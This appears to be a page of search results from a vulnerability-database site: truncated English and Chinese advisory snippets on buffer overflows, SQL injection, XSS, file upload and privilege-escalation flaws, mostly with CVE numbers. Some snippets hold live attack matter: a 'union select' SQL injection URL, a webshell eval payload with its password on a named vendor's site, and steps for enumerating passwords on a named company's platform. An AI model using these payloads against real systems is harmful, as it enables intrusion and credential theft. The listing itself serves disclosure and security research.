56796 matches found
IPSwitch IMail Server <= 8.20 IMAPD Remote Buffer Overflow Exploit
No description provided by source. / Dreatica-FXP crew ---------------------------------------- Target : Ipswitch IMAIL Server IMAPD 7.13 - 8.20 exploit Site : http://www.ipswitch.com...
Flexphpnews 0.0.5 (news.php newsid) Remote SQL Injection Vulnerability
No description provided by source. .-""""""""-. / Dj7xpl  ...
PHP <= 4.4.4 / 5.2.1 / 5.1.6 readfile() Safe Mode Bypass Vulnerability
No description provided by source. SecurityRisk : DEN Remote Exploit : No Local Exploit : Yes Exploit Given : Yes Credit : The-WolF-kSA Date : 24.3.2007 Affected Software : PHP 5.2.1/ 5.1.6 / 4.4.4 readfile Safe Mode Bypass PHP 5.2.1/ 5.1.6 / 4.4.4 Author: ThE-WoLf-KsA Date: - -Written: 24.3.2007...
Cacti cmd.php脚本远程SQL注入漏洞
Cacti是一款轮循数据库（RRD）工具，可帮助从数据库信息创建图形，有多个Linux版本。 Cacti的cmd.php脚本处理用户提交的参数数据时存在输入验证漏洞，远程攻击者可能利用此漏洞执行SQL注入攻击。 Cacti的cmd.php脚本没有正确验证对URL的输入，允许攻击者通过SQL注入非授权操作数据库。成功攻击要求打开了registerargcargv。此外没有过滤cmd.php中SQL查询的结果便用作了shell命令，这可能导致注入任意shell命令 Cacti Cacti 0.8.6i 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版...
PHPProfiles远程文件包含漏洞
PHPProfiles是一款基于PHP的WEB应用程序。 PHPProfiles不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于多个脚本对用户提交的WEB参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 phpProfiles phpProfiles 3.1.2b phpProfiles phpProfiles 2.1 http://sourceforge.net/project/showfiles.php?groupid=176310...
OpenLDAP <= 2.4.3 (KBIND) Remote Buffer Overflow Exploit
No description provided by source. / openldap-kbind-p00f.c - OpenLDAP kbind remote exploit Only works on servers compiled with --enable-kbind enable LDAPv2+ Kerberos IV bind deprecated no by Solar Eclipse [email protected] Shoutouts to LSD for their l33t asm code and to all 0dd people...
Clansys <= v.1.1 (index.php page) PHP Code Insertion Vulnerability
No description provided by source. NukedX Security Advisory Nr 2006-29 ClanSys v1.1 index.php page PHP Code Insertion Vulnerability Method found & Exploit scripted by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Original advisory: http://www.nukedx.com/?viewdoc=29...
MS Messenger Denial of Service Exploit (MS03-043) (linux ver)
漏洞描述：Microsoft Windows是微软开发的视窗操作系统，Windows Messenger服务用于服务器与客户端之间互相发送一些短消息。Microsoft Windows Messenger服务存在堆溢出问题，远程攻击者可以利用这个漏洞以系统权限在目标机器上执行任意指令。 问题存在于Messenger服务程序的search-by-name函数中，攻击者提交特定序列的字符串给这个函数可造成堆溢出，精心构建提交数据可能以系统权限在目标机器上执行任意指令。...
泛微OA weaver.common.Ctrl 任意文件上传漏洞
...
Foxit Reader 远程代码执行漏洞（CVE-2021-31473）
...
Insteon Hub PubNub "ad" Channel Message Handler Code Execution Vulnerability(CVE-2017-14447)
Summary An exploitable buffer overflow vulnerability exists in the PubNub message handler for the "ad" channel of Insteon Hub running firmware version 1012. Specially crafted commands sent through the PubNub service can cause a stack-based buffer overflow overwriting arbitrary data. An attacker...
Insteon Hub Reboot Task Denial Of Service Vulnerability(CVE-2017-16348)
Summary An exploitable denial of service vulnerability exists in Insteon Hub running firmware version 1012. Leftover demo functionality allows for arbitrarily rebooting the device without authentication. An attacker can send an UDP packet to trigger this vulnerability. Tested Versions Insteon Hub...
Canon LBP6650/LBP3370/LBP3460/LBP7750C - Authenticaton Bypass(CVE-2018-11692)
Description : An issue was discovered on Canon LBP6650, LBP3370, LBP3460, LBP7750C printers. It is possible for a remote unauthenticated attacker to bypass the Administrator Mode authentication without a password at any URL of the device that requires authentication. PoC : Start searching for Can...
New burnOverflow Bug Identified in Multiple ERC20 Smart Contracts (CVE-2018-11239)
Our vulnerability-scanning system at PeckShield has so far discovered several dangerous smart contract vulnerabilities batchOverflow1, proxyOverflow2, transferFlaw3, ownerAnyone4, multiOverflow5. Some of them could be used by attackers to generate tokens out of nowhere while others can be used to...
Holey Beep: Linux 提权漏洞分析与利用(CVE-2018-0492)
Introduction Back in the old days, people were using the \a character to emit a horrible 'beep' sound from their speaker. It was a bit annoying, especially if you wanted more complicated stuff to do 8bits-like musics. That's why Johnathan Nightingale made the beep software. A very simple and shor...
CPP-Ethereum JSON-RPC admin_nodeInfo improper authorization Vulnerability(CVE-2017-12113)
Summary An exploitable improper authorization vulnerability exists in adminnodeInfo API of cpp-ethereum's JSON-RPC commit 4e1015743b95821849d001618a7ce82c7c073768. A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON to...
InfraPower PPS-02-S Q213V1 Authentication Bypass Vulnerability
Summary InfraPower Manager PPS-02-S is a FREE built-in GUI of each IP dongle IPD-02-S only to remotely monitor the connected PDUs. Patented IP Dongle provides IP remote access to the PDUs by a true network IP address chain. Only 1xIP dongle allows access to max. 16 PDUs in daisy chain - which is ...
libxls xls_getfcell Code Execution Vulnerability(CVE-2017-2919)
Summary An exploitable stack based buffer overflow vulnerability exists in the xlsgetfcell function of libxls 1.3.4. A specially crafted XLS file can cause a memory corruption resulting in remote code execution. An attacker can send malicious XLS file to trigger this vulnerability. Tested Version...
DblTek Multiple Vulnerabilities
Vulnerabilities summary The following advisory describes 2 two vulnerabilities found in DblTek webserver. DBL is “specialized in VoIP products, especially GoIPs. We design, develop, manufacture, and sell our products directly and via distributors to customers. Our GoIP models now cover 1, 4, 8, 1...
Foscam IP Video Camera webService dyndns.com DDNS Client Code Execution Vulnerability(CVE-2017-2856)
Summary An exploitable buffer overflow vulnerability exists in the DDNS client used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.43. On devices with DDNS enabled, an attacker who is able to intercept HTTP connections will be able to fully compromise the device by creating...
Disclosure: WordPress WPDB SQL Injection - Technical
Today, a significant SQL-Injection vulnerability was fixed in WordPress 4.8.3. Before reading further, if you haven’t updated yet stop right now and update. The foundations of this vulnerability was reported via Hacker-One on September 20th, 2017. This post will detail the technical vulnerability...
WebKit: JSC: Incorrect optimization in BytecodeGenerator::emitGetByVal(CVE-2017-7061)
Let's start with JS code. let o = ; for let i in xx: 0 oi; 0; i-- ForInContext& context = mforInContextStacki - 1.get; if context.local != property continue; if !context.isValid break; if context.type == ForInContext::IndexedForInContextType property = staticcastcontext.index; break;...
Aerospike Database Server Client Message Memory Disclosure Vulnerability(CVE-2016-9050)
Summary An exploitable out-of-bounds read vulnerability exists in the client message-parsing functionality of Aerospike Database Server 3.10.0.3. A specially crafted packet can cause an out-of-bounds read resulting in disclosure of memory within the process, the same vulnerability can also be use...
KDE kauth and kdelibs Logic Flaw Lets Local Users Obtain Root Privileges(CVE-2017-8422)
This document describes a generic root exploit against kde. The exploit is achieved by abusing a logic flaw within the KAuth framework which is present in kde4 org.kde.auth and kde5 org.kde.kf5auth. It is possible to spoof what KAuth calls callerID's which are indeed D-Bus unique names of the...
Heap Overflow Vulnerability in Citrix NetScaler Gateway (CVE-2017-7219)
After presenting my findings on the Swisscom router at the CybSecConference last year, I started looking for a new product to analyze. I quickly found that it’s possible to download virtual “demo” appliances of Citrix products, so I went on to download a Netscaler VPX, which at the time was at...
Chrome Universal XSS using an intercepted native function (CVE-2016-1672)
VULNERABILITY DETAILS The fix for the issue 546677 is insufficient to protect against overriding the internal extensions code -- it is still possible to take over the built-in extension system with a combination of getters and setters. This allows web content to gain access to native functions th...
XNU kernel UaF due to lack of locking in set_dp_control_port (CVE-2016-7644)
setdpcontrolport is a MIG method on the hostprivport so this bug is a root-kernel escalation. kernreturnt setdpcontrolport hostprivt hostpriv, ipcportt controlport if hostpriv == HOSTPRIVNULL return KERNINVALIDHOST; if IPVALIDdynamicpagercontrolport ipcportreleasesenddynamicpagercontrolport;...
AMF3 Java implementations Improper Restriction of XML External Entity Reference ('XXE')
A detailed analysis of the reference: https://codewhitesec.blogspot.kr/2017/04/amf.html Some Java implementations of AMF3 deserializers allow the external entity references XXEs from XML documents embedded within AMF3 messages. If the XML parsing is handled incorrectly it could potentially expose...
Elevation of privilege vulnerability in Qualcomm crypto engine driver(CVE-2017-0576)
No description provided by source. include include include include include include include include include include / PoC By Scott Bauer Bug found by derrek / static const char dev = "/dev/qce"; define QCEDEVMAXKEYSIZE 64 define QCEDEVMAXIVSIZE 32 define QCEDEVMAXBUFFERS 16 struct bufinfo union...
LastPass: domain regex doesn't handle data and other pseudo-url schemes
I previously found a design flaw in lastpass that affected the 4.x branch of lastpass issue 884. They confirmed the vulnerability, but explained that most of their users use an older branch from addons.mozilla.org. I took a look at the addons.mozilla.org version 3.3.2 as of this writing, and...
Microsoft Edge allows remote attackers to bypass the Same Origin Policy（CVE-2017-0002）
Original link: UXSS on Microsoft Edge – Adventures in a Domainless World without domain big World Adventure Original author: Manuel Caballero Translation: Holic know Chong Yu 404 security lab Note: the associated file can be downloaded here in. Today, we discuss the design of problems, with these...
RoundCube Webmail mail <1.0.5 body stored XSS（CVE-2015-1433）
RoundCube Webmail is a foreign use of a wide an open source php e-mail system, the meaning is still quite large. roundcube webmail official website: , download the latest version. /program/lib/Roundcube/rcubewashtml.php this file is actually a rich text filter class class rcubewashtml it. roundcu...
Jenkins remote code execution vulnerability (CVE-2017-2608)
No description provided by source...
Ubuntu Apport < 2.20.4 Code Execution on Ubuntu Desktop（CVE-2016-9949）
This research was inspired by Chris Evan’s great work on exploiting client-side file format parsing bugs in the gstreamer media library on Ubuntu. We will look for other default file handlers on Ubuntu which may be vulnerable to exploitation. I’m not a binary exploitation guru like Chris so inste...
Wordpress <= 4.6.1 Stored XSS Via Theme File
Author: p0wd3r 知道创宇404安全实验室 0x00 漏洞概述 1.漏洞简介 WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统，近日研究者发现在其 ... DO NOT CHANGES HERE ... / 接着更改文件夹名字再打包： bash mv illdy "" zip -r theme.zip "" 构造好之后我们登录后台上传该主题文件，同时开始动态调试。 首先进入wp-admin/includes/class-theme-installer-skin.php中第55-82行： php $name =...
Django CSRF Bypass (CVE-2016-7401)
Author: p0wd3r 知道创宇404安全实验室 Date: 2016-09-28 0x00 漏洞概述 1.漏洞简介 Django是一个由Python写成的开源Web应用框架。在两年前有研究人员在hackerone上提交了一个利用Google Analytics来绕过Django的CSRF防护机制的漏洞CSRF protection bypass on any Django powered site via Google Analytics，通过该漏洞，当一个网站使用了Django作为Web框架并且设置了Django的CSRF防护机制，同时又使用了Google...
Paviansystems product_detail.php parameters product_id SQL injection vulnerability
No description provided by source...
Phpwind GET型CSRF任意代码执行 漏洞
来源链接：http://www.wooyun.org/bugs/wooyun-2016-01758150-tsina-1-93389-397232819ff9a47a7b7e80a40613cfe1 这个洞其实很有意思，最可惜的地方就是其触发位置在后台，否则它将是一个绝无仅有的好洞。 0x01 后台反序列化位置 首先纵览整个phpwindv9，反序列化的位置很多，但基本都是从数据库里取出的，很难完全控制序列化字符串。 最后，找到三处： 可恶的是，三处都在后台的Task模块下。Task模块是『任务中心』功能，只有能进入后台的用户才可以访问： 随便打开一个，...
cacti气象图插件任意文件上传漏洞
No description provided by source...
kingdee live800在线客服系统SQL注射漏洞
0x01 漏洞概述 相关厂商： live800.com 漏洞时间： 2015-10-18 loginAction.jsp SQL注射漏洞，可看客户与客服对话内容，泄露大量敏感信息。 0x02 漏洞细节 在loginAction.jsp中发现以下内容： String loginName=request.getParameter"loginName"; String password=request.getParameter"password"; String loginServerUrl = request.getParameter"loginServerUrl"; OperatorInf...
jeecms前台在/member/o_upload_image.jspx存在文件上传漏洞
No description provided by source...
Emlog 5.3.1 flash xss
No description provided by source...
Microsoft Windows Win32k 特权提升漏洞( MS15-010)
来源链接：http://www.freebuf.com/vuls/90501.html FreeBuf黑客与极客（FreeBuf.COM） 原文地址：http://hdwsec.fr/blog/CVE-2015-0057.html，编译/FB小编鸢尾 概述 这是一个use-after-free内核漏洞，它能获取一个专属的write primitive操作，之后侵染临近的一个对象。这个yields语句可以在内核空间或者用户空间随意写入。...
cmseasy官网无条件getshell
简要描述： CMS官网 无条件getshell 想走个大场商 求20rank 详细说明： 首先先看webshell 要不直接把我的webshell给覆盖掉了 菜刀地址 http://www.cmseasy.cn/post/list.php?list=@eval%28$POST%27a%27%29; 密码a 漏洞证明： view-source:http://www.cmseasy.cn/post/list.php?list=echo%20filegetcontents%27list.php%27; http://www.cmseasy.cn/post/list.php?list=phpin...
Horizon QCMS 4.0 'category' 参数SQL注入漏洞
受影响系统 Horizon QCMS Horizon QCMS 测试方法： -------------------------------------------------------------------------------- 警 告 以下程序方法可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！ http://host/download.php?category=%27%20union%20select%201,2,version,4,5,6%20--%202 建议：...
某通用型电子采购平台可遍历用户和管理员账户密码
简要描述： RT 详细说明： 前人大牛的洞洞 WooYun: 某通用型电子采购平台SQL注射（涉及大量企业） WooYun: 某通用型电子采购平台存在任意文件上传漏洞GETSHELL WooYun: 某通用型电子采购平台从某处目录遍历到任意文件上传GetShell 我也来凑凑热闹 老问题，权限控制问题 漏洞证明： 演示地址为某上市公司 http://cg.jishimedia.com 首先注册账户，登录之后进入密码修改 此时查看源代码即可获取当前用户密码 burpsuite抓包 放入intruder利用0000-9999遍历UserID即可获取所有人员姓名用户和密码，包括管理员 管理后台...
Wordpress wpDataTables Plugin 1.5.3 /wpdatatables.php SQL注入漏洞
wpdatatables.php // AJAX-handlers addaction 'wpajaxgetwdtable', 'wdtgetajaxdata' ; addaction 'wpajaxnoprivgetwdtable', 'wdtgetajaxdata' ; / Handler which returns the AJAX response / function wdtgetajaxdata $id = $GET'tableid'; $tabledata = wdtgettablebyid $id ; $columndata = wdtgetcolumnsbytablei...
Enalean Tuleap 7.2 - XXE File Disclosure
No description provided by source. Vulnerability title: Tuleap = 7.2 External XML Entity Injection in Enalean Tuleap CVE: CVE-2014-7177 Vendor: Enalean Product: Tuleap Affected version: 7.2 and earlier Fixed version: 7.4.99.5 Reported by: Jerzy Kramarz Details: A multiple XML External Entity...
Supesite 注入一枚 (可提升自己为管理)
简要描述： Supesite 注入出的密码 基本都破不出来 如果能够直接提升自己为管理员 或者 自己修改管理的密码那就再好不过了。 忙里偷闲。 详细说明： 在index.php中 if$SGET'action' != 'index' ifempty$channels'menus'$SGET'action''upnameid' && $channels'menus'$SGET'action''upnameid' != 'news' $scriptfile = SROOT.'./'.$SGET'action'.'.php'; else $scriptfile =...